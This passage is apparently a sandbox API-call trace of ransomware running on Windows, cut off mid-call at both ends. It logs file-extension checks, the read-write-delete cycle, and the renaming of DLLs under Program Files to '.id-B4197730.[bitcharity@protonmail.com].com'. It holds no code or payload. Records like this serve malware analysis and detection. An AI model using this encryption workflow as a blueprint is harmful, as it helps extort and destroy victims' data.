lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.900] lstrlenW (lpString=".xls") returned 4 [0303.900] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.900] lstrlenW (lpString=".xlsx") returned 5 [0303.900] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0303.900] lstrlenW (lpString=".ppt") returned 4 [0303.900] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0303.900] lstrlenW (lpString=".zip") returned 4 [0303.900] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.900] lstrlenW (lpString=".rar") returned 4 [0303.900] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.900] lstrlenW (lpString=".bz2") returned 4 [0303.900] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.900] lstrlenW (lpString=".7z") returned 3 [0303.900] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0303.900] lstrlenW (lpString=".dbf") returned 4 [0303.900] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0303.900] lstrlenW (lpString=".1cd") returned 4 [0303.900] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0303.900] lstrlenW (lpString=".jpg") returned 4 [0303.900] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0303.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0303.901] lstrlenW (lpString=".doc") returned 4 [0303.901] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.901] lstrlenW (lpString=".docx") returned 5 [0303.901] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0303.901] lstrlenW (lpString=".pdf") returned 4 [0303.901] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.901] lstrlenW (lpString=".xls") returned 4 [0303.901] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.901] lstrlenW (lpString=".xlsx") returned 5 [0303.901] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0303.901] lstrlenW (lpString=".ppt") returned 4 [0303.901] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0303.901] lstrlenW (lpString=".zip") returned 4 [0303.901] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.901] lstrlenW (lpString=".rar") returned 4 [0303.901] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.901] lstrlenW (lpString=".bz2") returned 4 [0303.901] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.901] lstrlenW (lpString=".7z") returned 3 [0303.901] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0303.901] lstrlenW (lpString=".dbf") returned 4 [0303.901] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0303.901] lstrlenW (lpString=".1cd") returned 4 [0303.901] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0303.901] lstrlenW (lpString=".jpg") returned 4 [0303.901] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.902] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0303.902] lstrlenW (lpString="WindowsAccessBridge-64.dll") returned 26 [0303.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0303.902] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=110144) returned 1 [0303.902] CloseHandle (hObject=0x10c0) returned 1 [0303.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 0x20 [0303.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0303.902] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.903] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.903] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0303.903] GetLastError () returned 0x0 [0303.903] ReadFile (hFile=0x10c0, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0) Thread: id = 3461 os_tid = 0x2754 [0286.042] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x37900a8 [0286.043] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x37a00b0 [0286.043] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c97e0 [0286.043] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x6) returned 0x7c5508 [0286.043] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c97f8 [0286.043] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x100000) returned 0x3d21020 [0286.045] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9810 [0286.045] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c9810, Size=0x20) returned 0x7bd850 [0286.045] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c9810 [0286.045] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c9810, Size=0x20) returned 0x7bd7b0 [0286.046] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0286.046] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0286.046] Wow64DisableWow64FsRedirection (in: OldValue=0x333ff50 | out: OldValue=0x333ff50*=0x0) returned 1 [0286.046] lstrlenW (lpString="kernel32.dll") returned 12 [0286.046] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd850 | out: hHeap=0x730000) returned 1 [0286.046] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0286.046] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd7b0 | out: hHeap=0x730000) returned 1 [0286.046] Sleep (dwMilliseconds=0x64) [0286.330] Sleep (dwMilliseconds=0x64) [0286.756] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0286.756] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0286.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.756] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=21184) returned 1 [0286.756] CloseHandle (hObject=0x109c) returned 1 [0286.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0286.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.757] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.757] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0288.282] GetLastError () returned 0x0 [0288.282] ReadFile (in: hFile=0x109c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0288.297] WriteFile (in: hFile=0x10c0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0288.298] ReadFile (in: hFile=0x109c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.298] WriteFile (in: hFile=0x10c0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x122, lpOverlapped=0x0) returned 1 [0288.299] SetEndOfFile (hFile=0x10c0) returned 1 [0288.299] CloseHandle (hObject=0x10c0) returned 1 [0288.300] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.300] SetEndOfFile (hFile=0x109c) returned 1 [0288.301] CloseHandle (hObject=0x109c) returned 1 [0288.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0288.302] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0288.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0288.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0288.302] lstrlenW (lpString=".doc") returned 4 [0288.302] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0288.302] lstrlenW (lpString=".docx") returned 5 [0288.302] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0288.302] lstrlenW (lpString=".pdf") returned 4 [0288.302] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0288.302] lstrlenW (lpString=".xls") returned 4 [0288.302] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0288.302] lstrlenW (lpString=".xlsx") returned 5 [0288.302] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0288.302] lstrlenW (lpString=".ppt") returned 4 [0288.302] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0288.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0288.303] lstrlenW (lpString=".zip") returned 4 [0288.303] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0288.303] lstrlenW (lpString=".rar") returned 4 [0288.303] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0288.303] lstrlenW (lpString=".bz2") returned 4 [0288.303] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0288.303] lstrlenW (lpString=".7z") returned 3 [0288.303] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0288.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0288.303] lstrlenW (lpString=".dbf") returned 4 [0288.303] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0288.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0288.303] lstrlenW (lpString=".1cd") returned 4 [0288.303] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0288.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0288.303] lstrlenW (lpString=".jpg") returned 4 [0288.303] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0288.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0288.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0288.303] lstrlenW (lpString=".doc") returned 4 [0288.303] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0288.303] lstrlenW (lpString=".docx") returned 5 [0288.303] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0288.303] lstrlenW (lpString=".pdf") returned 4 [0288.303] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0288.303] lstrlenW (lpString=".xls") returned 4 [0288.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0288.304] lstrlenW (lpString=".xlsx") returned 5 [0288.304] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0288.304] lstrlenW (lpString=".ppt") returned 4 [0288.304] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0288.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0288.304] lstrlenW (lpString=".zip") returned 4 [0288.304] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0288.304] lstrlenW (lpString=".rar") returned 4 [0288.304] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0288.304] lstrlenW (lpString=".bz2") returned 4 [0288.304] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0288.304] lstrlenW (lpString=".7z") returned 3 [0288.304] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0288.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0288.304] lstrlenW (lpString=".dbf") returned 4 [0288.304] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0288.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0288.304] lstrlenW (lpString=".1cd") returned 4 [0288.304] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0288.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0288.304] lstrlenW (lpString=".jpg") returned 4 [0288.304] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0288.304] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0288.304] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0288.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0288.305] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=18624) returned 1 [0288.305] CloseHandle (hObject=0x109c) returned 1 [0288.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0288.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0288.305] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.305] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0288.306] GetLastError () returned 0x0 [0288.306] ReadFile (in: hFile=0x109c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0288.321] WriteFile (in: hFile=0x10c0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0288.322] ReadFile (in: hFile=0x109c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x333fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x333fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.322] WriteFile (in: hFile=0x10c0, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x333fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x333fc94*=0x11a, lpOverlapped=0x0) returned 1 [0288.322] SetEndOfFile (hFile=0x10c0) returned 1 [0288.322] CloseHandle (hObject=0x10c0) returned 1 [0288.323] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x333fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.323] SetEndOfFile (hFile=0x109c) returned 1 [0288.324] CloseHandle (hObject=0x109c) returned 1 [0288.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0288.325] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0288.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0288.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0288.325] lstrlenW (lpString=".doc") returned 4 [0288.325] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0288.325] lstrlenW (lpString=".docx") returned 5 [0288.325] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0288.325] lstrlenW (lpString=".pdf") returned 4 [0288.325] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0288.326] lstrlenW (lpString=".xls") returned 4 [0288.326] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0288.326] lstrlenW (lpString=".xlsx") returned 5 [0288.326] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0288.326] lstrlenW (lpString=".ppt") returned 4 [0288.326] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0288.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0288.326] lstrlenW (lpString=".zip") returned 4 [0288.326] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0288.326] lstrlenW (lpString=".rar") returned 4 [0288.326] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0288.326] lstrlenW (lpString=".bz2") returned 4 [0288.326] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0288.326] lstrlenW (lpString=".7z") returned 3 [0288.326] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0288.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0288.326] lstrlenW (lpString=".dbf") returned 4 [0288.326] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0288.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0288.326] lstrlenW (lpString=".1cd") returned 4 [0288.326] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0288.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0288.326] lstrlenW (lpString=".jpg") returned 4 [0288.326] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0288.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0288.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0288.326] lstrlenW (lpString=".doc") returned 4 [0288.326] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0288.326] lstrlenW (lpString=".docx") returned 5 [0288.327] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0288.327] lstrlenW (lpString=".pdf") returned 4 [0288.327] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0288.327] lstrlenW (lpString=".xls") returned 4 [0288.327] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0288.327] lstrlenW (lpString=".xlsx") returned 5 [0288.327] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0288.327] lstrlenW (lpString=".ppt") returned 4 [0288.327] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0288.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0288.327] lstrlenW (lpString=".zip") returned 4 [0288.327] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0288.327] lstrlenW (lpString=".rar") returned 4 [0288.327] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0288.327] lstrlenW (lpString=".bz2") returned 4 [0288.327] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0288.327] lstrlenW (lpString=".7z") returned 3 [0288.327] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0288.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0288.327] lstrlenW (lpString=".dbf") returned 4 [0288.327] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0288.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0288.327] lstrlenW (lpString=".1cd") returned 4 [0288.327] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0288.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0288.327] lstrlenW (lpString=".jpg") returned 4 [0288.327] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0288.328] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0288.328] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0288.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 